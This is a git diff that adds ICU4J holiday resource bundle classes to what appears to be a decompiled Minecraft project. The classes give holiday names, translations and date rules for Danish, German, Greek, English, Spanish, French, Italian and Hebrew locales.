diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle.java
new file mode 100644
index 0000000..2b60269
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle.java
@@ -0,0 +1,27 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HolidayBundle
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "", "" } };
+  
+  public HolidayBundle() {}
+  
+  public synchronized Object[][] getContents() { return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_da.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_da.java
new file mode 100644
index 0000000..76c7a39
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_da.java
@@ -0,0 +1,31 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+public class HolidayBundle_da
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "Armistice Day", "våbenhvile" }, { "Ascension", "himmelfart" }, { "Boxing Day", "anden juledag" }, { "Christmas Eve", "juleaften" }, { "Easter", "påske" }, { "Epiphany", "helligtrekongersdag" }, { "Good Friday", "langfredag" }, { "Halloween", "allehelgensaften" }, { "Maundy Thursday", "skærtorsdag" }, { "Palm Sunday", "palmesøndag" }, { "Pentecost", "pinse" }, { "Shrove Tuesday", "hvidetirsdag" } };
+  
+
+
+
+
+
+  public HolidayBundle_da() {}
+  
+
+
+
+
+  public synchronized Object[][] getContents()
+  {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_da_DK.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_da_DK.java
new file mode 100644
index 0000000..753e106
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_da_DK.java
@@ -0,0 +1,41 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+
+public class HolidayBundle_da_DK
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, new SimpleHoliday(3, 30, -6, "General Prayer Day"), new SimpleHoliday(5, 5, "Constitution Day"), SimpleHoliday.CHRISTMAS_EVE, SimpleHoliday.CHRISTMAS, SimpleHoliday.BOXING_DAY, SimpleHoliday.NEW_YEARS_EVE, EasterHoliday.MAUNDY_THURSDAY, EasterHoliday.GOOD_FRIDAY, EasterHoliday.EASTER_SUNDAY, EasterHoliday.EASTER_MONDAY, EasterHoliday.ASCENSION, EasterHoliday.WHIT_MONDAY };
+  
+
+
+
+
+
+
+
+  public HolidayBundle_da_DK() {}
+  
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de.java
new file mode 100644
index 0000000..a88e6f7
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de.java
@@ -0,0 +1,68 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+public class HolidayBundle_de
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "All Saints' Day", "Allerheiligen" }, { "All Souls' Day", "Allerseelen" }, { "Armistice Day", "Waffenstillstandstag" }, { "Ascension", "Christi Himmelfahrt" }, { "Ash Wednesday", "Aschermittwoch" }, { "Assumption", "Mariä Himmelfahrt" }, { "Boxing Day", "2. Weihnachtstag" }, { "Carnival", "Karneval" }, { "Christmas", "Weihnachtstag" }, { "Civic Holiday", "Bürgerfeiertag" }, { "Constitution Day", "Verfassungstag" }, { "Corpus Christi", "Fronleichnam" }, { "Day of Prayer and Repentance", "Buß- und Bettag" }, { "Easter Monday", "Ostermonntag" }, { "Easter Sunday", "Ostersonntag" }, { "Epiphany", "Heilige 3 Könige" }, { "Father's Day", "Vatertag" }, { "Flag Day", "Jahrestag der Nationalflagge" }, { "German Unity Day", "Tag der deutschen Einheit" }, { "Good Friday", "Karfreitag" }, { "Halloween", "Abend vor Allerheiligen" }, { "Immaculate Conception", "Mariä Empfängnis" }, { "Independence Day", "Unabhängigkeitstag" }, { "Labor Day", "Tag der Arbeit" }, { "Liberation Day", "Befreiungstag" }, { "Mardi Gras", "Faschingsdienstag" }, { "Maundy Thursday", "Gründonnerstag" }, { "May Day", "Maifeiertag" }, { "Memorial Day", "Tag des Gedenkens" }, { "Mother's Day", "Muttertag" }, { "National Holiday", "Nationalfeiertag" }, { "New Year's Day", "Neujahr" }, { "New Year's Eve", "Silvesterabend" }, { "Palm Sunday", "Palmsonntag" }, { "Pentecost", "Pfingsten" }, { "Presidents' Day", "Präsidentstag" }, { "Remembrance Day", "Volkstrauertag" }, { "Revolution Day", "Jahrestag der Revolution" }, { "Rose Monday", "Rosenmontag" }, { "St. Stephen's Day", "Stephanitag" }, { "Shrove Tuesday", "Faschingsdienstag" }, { "Spring Holiday", "Tag des Frühlings" }, { "Summer Bank Holiday", "Bankfeiertag" }, { "Thanksgiving", "Dankfest" }, { "Unity Day", "Einheitstag" }, { "Veterans' Day", "Veteranstag" }, { "Victory Day", "Tag der Befreiung" }, { "Washington's Birthday", "Washingtons Geburtstag" }, { "Whit Monday", "Pfingstmontag" }, { "Whit Sunday", "Pfingstsonntag" } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HolidayBundle_de() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public synchronized Object[][] getContents()
+  {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de_AT.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de_AT.java
new file mode 100644
index 0000000..cc0e321
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de_AT.java
@@ -0,0 +1,47 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_de_AT
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, SimpleHoliday.EPIPHANY, EasterHoliday.GOOD_FRIDAY, EasterHoliday.EASTER_SUNDAY, EasterHoliday.EASTER_MONDAY, EasterHoliday.ASCENSION, EasterHoliday.WHIT_SUNDAY, EasterHoliday.WHIT_MONDAY, EasterHoliday.CORPUS_CHRISTI, SimpleHoliday.ASSUMPTION, SimpleHoliday.ALL_SAINTS_DAY, SimpleHoliday.IMMACULATE_CONCEPTION, SimpleHoliday.CHRISTMAS, SimpleHoliday.ST_STEPHENS_DAY, new SimpleHoliday(4, 1, 0, "National Holiday"), new SimpleHoliday(9, 31, -2, "National Holiday") };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays }, { "Christmas", "Christtag" }, { "New Year's Day", "Neujahrstag" } };
+  
+
+  public HolidayBundle_de_AT() {}
+  
+  public synchronized Object[][] getContents()
+  {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de_DE.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de_DE.java
new file mode 100644
index 0000000..cb49c5a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_de_DE.java
@@ -0,0 +1,41 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_de_DE
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, SimpleHoliday.MAY_DAY, new SimpleHoliday(5, 15, 4, "Memorial Day"), new SimpleHoliday(9, 3, 0, "Unity Day"), SimpleHoliday.ALL_SAINTS_DAY, new SimpleHoliday(10, 18, 0, "Day of Prayer and Repentance"), SimpleHoliday.CHRISTMAS, SimpleHoliday.BOXING_DAY, EasterHoliday.GOOD_FRIDAY, EasterHoliday.EASTER_SUNDAY, EasterHoliday.EASTER_MONDAY, EasterHoliday.ASCENSION, EasterHoliday.WHIT_SUNDAY, EasterHoliday.WHIT_MONDAY };
+  
+
+
+
+
+
+
+
+
+  public HolidayBundle_de_DE() {}
+  
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_el.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_el.java
new file mode 100644
index 0000000..8713981
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_el.java
@@ -0,0 +1,30 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+public class HolidayBundle_el
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "Assumption", "15 Αύγούστου" }, { "Boxing Day", "Δεύτερη μέρα τών Χριστουγέννων" }, { "Christmas", "Χριστούγεννα" }, { "Clean Monday", "Καθαρή Δευτέρα" }, { "Easter Monday", "Δεύτερη μέρα τού Πάσχα" }, { "Epiphany", "Έπιφάνεια" }, { "Good Friday", "Μεγάλη Παρασκευή" }, { "May Day", "Πρωτομαγιά" }, { "New Year's Day", "Πρωτοχρονιά" }, { "Ochi Day", "28 Όκτωβρίου" }, { "Whit Monday", "Δεύτερη μέρα τού Πεντηκοστή" } };
+  
+
+
+
+
+
+  public HolidayBundle_el() {}
+  
+
+
+
+
+  public synchronized Object[][] getContents()
+  {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_el_GR.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_el_GR.java
new file mode 100644
index 0000000..80d3ce3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_el_GR.java
@@ -0,0 +1,42 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_el_GR
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, SimpleHoliday.EPIPHANY, new SimpleHoliday(2, 25, 0, "Independence Day"), SimpleHoliday.MAY_DAY, SimpleHoliday.ASSUMPTION, new SimpleHoliday(9, 28, 0, "Ochi Day"), SimpleHoliday.CHRISTMAS, SimpleHoliday.BOXING_DAY, new EasterHoliday(-2, true, "Good Friday"), new EasterHoliday(0, true, "Easter Sunday"), new EasterHoliday(1, true, "Easter Monday"), new EasterHoliday(50, true, "Whit Monday") };
+  
+
+
+
+
+
+
+
+
+  public HolidayBundle_el_GR() {}
+  
+
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en.java
new file mode 100644
index 0000000..71a336e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en.java
@@ -0,0 +1,27 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HolidayBundle_en
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "", "" } };
+  
+  public HolidayBundle_en() {}
+  
+  public synchronized Object[][] getContents() { return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_CA.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_CA.java
new file mode 100644
index 0000000..8c1cf30
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_CA.java
@@ -0,0 +1,43 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_en_CA
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, new SimpleHoliday(4, 19, 0, "Victoria Day"), new SimpleHoliday(6, 1, 0, "Canada Day"), new SimpleHoliday(7, 1, 2, "Civic Holiday"), new SimpleHoliday(8, 1, 2, "Labor Day"), new SimpleHoliday(9, 8, 2, "Thanksgiving"), new SimpleHoliday(10, 11, 0, "Remembrance Day"), SimpleHoliday.CHRISTMAS, SimpleHoliday.BOXING_DAY, SimpleHoliday.NEW_YEARS_EVE };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays }, { "Labor Day", "Labour Day" } };
+  
+  public HolidayBundle_en_CA() {}
+  
+  public synchronized Object[][] getContents() {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_GB.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_GB.java
new file mode 100644
index 0000000..1d5711e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_GB.java
@@ -0,0 +1,40 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+
+public class HolidayBundle_en_GB
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, SimpleHoliday.MAY_DAY, new SimpleHoliday(4, 31, -2, "Spring Holiday"), new SimpleHoliday(7, 31, -2, "Summer Bank Holiday"), SimpleHoliday.CHRISTMAS, SimpleHoliday.BOXING_DAY, new SimpleHoliday(11, 31, -2, "Christmas Holiday"), EasterHoliday.GOOD_FRIDAY, EasterHoliday.EASTER_SUNDAY, EasterHoliday.EASTER_MONDAY };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays }, { "Labor Day", "Labour Day" } };
+  
+  public HolidayBundle_en_GB() {}
+  
+  public synchronized Object[][] getContents() {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_US.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_US.java
new file mode 100644
index 0000000..b8d8ac5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_en_US.java
@@ -0,0 +1,49 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+
+public class HolidayBundle_en_US
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, new SimpleHoliday(0, 15, 2, "Martin Luther King Day", 1986), new SimpleHoliday(1, 15, 2, "Presidents' Day", 1976), new SimpleHoliday(1, 22, "Washington's Birthday", 1776, 1975), EasterHoliday.GOOD_FRIDAY, EasterHoliday.EASTER_SUNDAY, new SimpleHoliday(4, 8, 1, "Mother's Day", 1914), new SimpleHoliday(4, 31, -2, "Memorial Day", 1971), new SimpleHoliday(4, 30, "Memorial Day", 1868, 1970), new SimpleHoliday(5, 15, 1, "Father's Day", 1956), new SimpleHoliday(6, 4, "Independence Day", 1776), new SimpleHoliday(8, 1, 2, "Labor Day", 1894), new SimpleHoliday(10, 2, 3, "Election Day"), new SimpleHoliday(9, 8, 2, "Columbus Day", 1971), new SimpleHoliday(9, 31, "Halloween"), new SimpleHoliday(10, 11, "Veterans' Day", 1918), new SimpleHoliday(10, 22, 5, "Thanksgiving", 1863), SimpleHoliday.CHRISTMAS };
+  
+
+
+
+
+
+
+
+
+
+
+
+  public HolidayBundle_en_US() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_es.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_es.java
new file mode 100644
index 0000000..9a3fed1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_es.java
@@ -0,0 +1,51 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+public class HolidayBundle_es
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "All Saints' Day", "Todos los Santos" }, { "Armistice Day", "Día del Armisticio" }, { "Ascension", "Ascensión" }, { "Benito Juárez Day", "Día de la Benito Juárez" }, { "Boxing Day", "Día en que se dan Aguinaldos Navideños" }, { "Canada Day", "Día del Canadá" }, { "Christmas Eve", "Víspera de Navidad" }, { "Christmas", "Navidad" }, { "Constitution Day", "Día de la Constitución" }, { "Day of the Dead", "Día de los Muertos" }, { "Easter Sunday", "Pascua" }, { "Easter Monday", "Pascua Lunes" }, { "Epiphany", "Epifanía" }, { "Father's Day", "Día del Padre" }, { "Flag Day", "Día de la Bandera" }, { "Good Friday", "Viernes Santo" }, { "Halloween", "víspera de Todos los Santos" }, { "Independence Day", "Día de la Independencia" }, { "Labor Day", "Día de Trabajadores" }, { "Maundy Thursday", "Jueves Santo" }, { "May Day", "Primero de Mayo" }, { "Memorial Day", "Día de la Rememoración" }, { "Mother's Day", "Día de la Madre" }, { "New Year's Day", "Año Nuevo" }, { "Palm Sunday", "Domingo de Ramos" }, { "Pentecost", "Pentecostés" }, { "Presidents' Day", "Día de Presidentes" }, { "Revolution Day", "Día de la Revolución" }, { "Shrove Tuesday", "Martes de Carnaval" }, { "Thanksgiving", "Día de Acción de Gracias" }, { "Veterans' Day", "Día de Veteranos" }, { "Victoria Day", "Día de Victoria" }, { "Whit Sunday", "Pentecostés" } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HolidayBundle_es() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public synchronized Object[][] getContents()
+  {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_es_MX.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_es_MX.java
new file mode 100644
index 0000000..9a8bf32
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_es_MX.java
@@ -0,0 +1,36 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_es_MX
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, new SimpleHoliday(1, 5, 0, "Constitution Day"), new SimpleHoliday(2, 21, 0, "Benito Juárez Day"), SimpleHoliday.MAY_DAY, new SimpleHoliday(4, 5, 0, "Cinco de Mayo"), new SimpleHoliday(5, 1, 0, "Navy Day"), new SimpleHoliday(8, 16, 0, "Independence Day"), new SimpleHoliday(9, 12, 0, "Día de la Raza"), SimpleHoliday.ALL_SAINTS_DAY, new SimpleHoliday(10, 2, 0, "Day of the Dead"), new SimpleHoliday(10, 20, 0, "Revolution Day"), new SimpleHoliday(11, 12, 0, "Flag Day"), SimpleHoliday.CHRISTMAS };
+  
+
+
+
+
+
+
+  public HolidayBundle_es_MX() {}
+  
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr.java
new file mode 100644
index 0000000..d71b082
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr.java
@@ -0,0 +1,44 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+public class HolidayBundle_fr
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "All Saints' Day", "Toussaint" }, { "Armistice Day", "Jour de l'Armistice" }, { "Ascension", "Ascension" }, { "Bastille Day", "Fête de la Bastille" }, { "Benito Juárez Day", "Fête de Benito Juárez" }, { "Boxing Day", "Lendemain de Noël" }, { "Christmas Eve", "Veille de Noël" }, { "Christmas", "Noël" }, { "Easter Monday", "Pâques lundi" }, { "Easter Sunday", "Pâques" }, { "Epiphany", "l'Épiphanie" }, { "Flag Day", "Fête du Drapeau" }, { "Good Friday", "Vendredi Saint" }, { "Halloween", "Veille de la Toussaint" }, { "All Saints' Day", "Toussaint" }, { "Independence Day", "Fête Indépendance" }, { "Maundy Thursday", "Jeudi Saint" }, { "Mother's Day", "Fête des mères" }, { "National Day", "Fête Nationale" }, { "New Year's Day", "Jour de l'an" }, { "Palm Sunday", "les Rameaux" }, { "Pentecost", "Pentecôte" }, { "Shrove Tuesday", "Mardi Gras" }, { "St. Stephen's Day", "Saint-Étienne" }, { "Victoria Day", "Fête de la Victoria" }, { "Victory Day", "Fête de la Victoire" } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public HolidayBundle_fr() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+  public synchronized Object[][] getContents()
+  {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr_CA.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr_CA.java
new file mode 100644
index 0000000..38088dd
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr_CA.java
@@ -0,0 +1,40 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_fr_CA
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { new SimpleHoliday(0, 1, 0, "New Year's Day"), new SimpleHoliday(4, 19, 0, "Victoria Day"), new SimpleHoliday(5, 24, 0, "National Day"), new SimpleHoliday(6, 1, 0, "Canada Day"), new SimpleHoliday(7, 1, 2, "Civic Holiday"), new SimpleHoliday(8, 1, 2, "Labour Day"), new SimpleHoliday(9, 8, 2, "Thanksgiving"), new SimpleHoliday(10, 11, 0, "Remembrance Day"), SimpleHoliday.CHRISTMAS, SimpleHoliday.BOXING_DAY, SimpleHoliday.NEW_YEARS_EVE, EasterHoliday.GOOD_FRIDAY, EasterHoliday.EASTER_SUNDAY, EasterHoliday.EASTER_MONDAY };
+  
+
+
+
+
+
+
+
+  public HolidayBundle_fr_CA() {}
+  
+
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr_FR.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr_FR.java
new file mode 100644
index 0000000..419816f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_fr_FR.java
@@ -0,0 +1,39 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_fr_FR
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, new SimpleHoliday(4, 1, 0, "Labor Day"), new SimpleHoliday(4, 8, 0, "Victory Day"), new SimpleHoliday(6, 14, 0, "Bastille Day"), SimpleHoliday.ASSUMPTION, SimpleHoliday.ALL_SAINTS_DAY, new SimpleHoliday(10, 11, 0, "Armistice Day"), SimpleHoliday.CHRISTMAS, EasterHoliday.EASTER_SUNDAY, EasterHoliday.EASTER_MONDAY, EasterHoliday.ASCENSION, EasterHoliday.WHIT_SUNDAY, EasterHoliday.WHIT_MONDAY };
+  
+
+
+
+
+
+
+
+  public HolidayBundle_fr_FR() {}
+  
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_it.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_it.java
new file mode 100644
index 0000000..c775ffa
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_it.java
@@ -0,0 +1,36 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+public class HolidayBundle_it
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "All Saints' Day", "Ognissanti" }, { "Armistice Day", "armistizio" }, { "Ascension", "ascensione" }, { "Ash Wednesday", "mercoledì delle ceneri" }, { "Boxing Day", "Santo Stefano" }, { "Christmas", "natale" }, { "Easter Sunday", "pasqua" }, { "Epiphany", "Epifania" }, { "Good Friday", "venerdì santo" }, { "Halloween", "vigilia di Ognissanti" }, { "Maundy Thursday", "giovedì santo" }, { "New Year's Day", "anno nuovo" }, { "Palm Sunday", "domenica delle palme" }, { "Pentecost", "di Pentecoste" }, { "Shrove Tuesday", "martedi grasso" }, { "St. Stephen's Day", "Santo Stefano" }, { "Thanksgiving", "Giorno del Ringraziamento" } };
+  
+
+
+
+
+
+
+
+
+  public HolidayBundle_it() {}
+  
+
+
+
+
+
+
+
+  public synchronized Object[][] getContents()
+  {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_it_IT.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_it_IT.java
new file mode 100644
index 0000000..c345450
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_it_IT.java
@@ -0,0 +1,38 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.EasterHoliday;
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+
+public class HolidayBundle_it_IT
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { SimpleHoliday.NEW_YEARS_DAY, SimpleHoliday.EPIPHANY, new SimpleHoliday(3, 1, 0, "Liberation Day"), new SimpleHoliday(4, 1, 0, "Labor Day"), SimpleHoliday.ASSUMPTION, SimpleHoliday.ALL_SAINTS_DAY, SimpleHoliday.IMMACULATE_CONCEPTION, SimpleHoliday.CHRISTMAS, new SimpleHoliday(11, 26, 0, "St. Stephens Day"), SimpleHoliday.NEW_YEARS_EVE, EasterHoliday.EASTER_SUNDAY, EasterHoliday.EASTER_MONDAY };
+  
+
+
+
+
+
+
+  public HolidayBundle_it_IT() {}
+  
+
+
+
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_iw.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_iw.java
new file mode 100644
index 0000000..d9874fc
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_iw.java
@@ -0,0 +1,19 @@
+package com.ibm.icu.impl.data;
+
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+public class HolidayBundle_iw
+  extends ListResourceBundle
+{
+  private static final Object[][] fContents = { { "", "" } };
+  
+  public HolidayBundle_iw() {}
+  
+  public synchronized Object[][] getContents() { return fContents; }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_iw_IL.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_iw_IL.java
new file mode 100644
index 0000000..124c7b8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_iw_IL.java
@@ -0,0 +1,30 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.HebrewHoliday;
+import com.ibm.icu.util.Holiday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+
+public class HolidayBundle_iw_IL
+  extends ListResourceBundle
+{
+  private static final Holiday[] fHolidays = { HebrewHoliday.ROSH_HASHANAH, HebrewHoliday.YOM_KIPPUR, HebrewHoliday.HANUKKAH, HebrewHoliday.PURIM, HebrewHoliday.PASSOVER, HebrewHoliday.SHAVUOT, HebrewHoliday.SELIHOT };
+  
+
+
+
+  public HolidayBundle_iw_IL() {}
+  
+
+
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents; }
+}
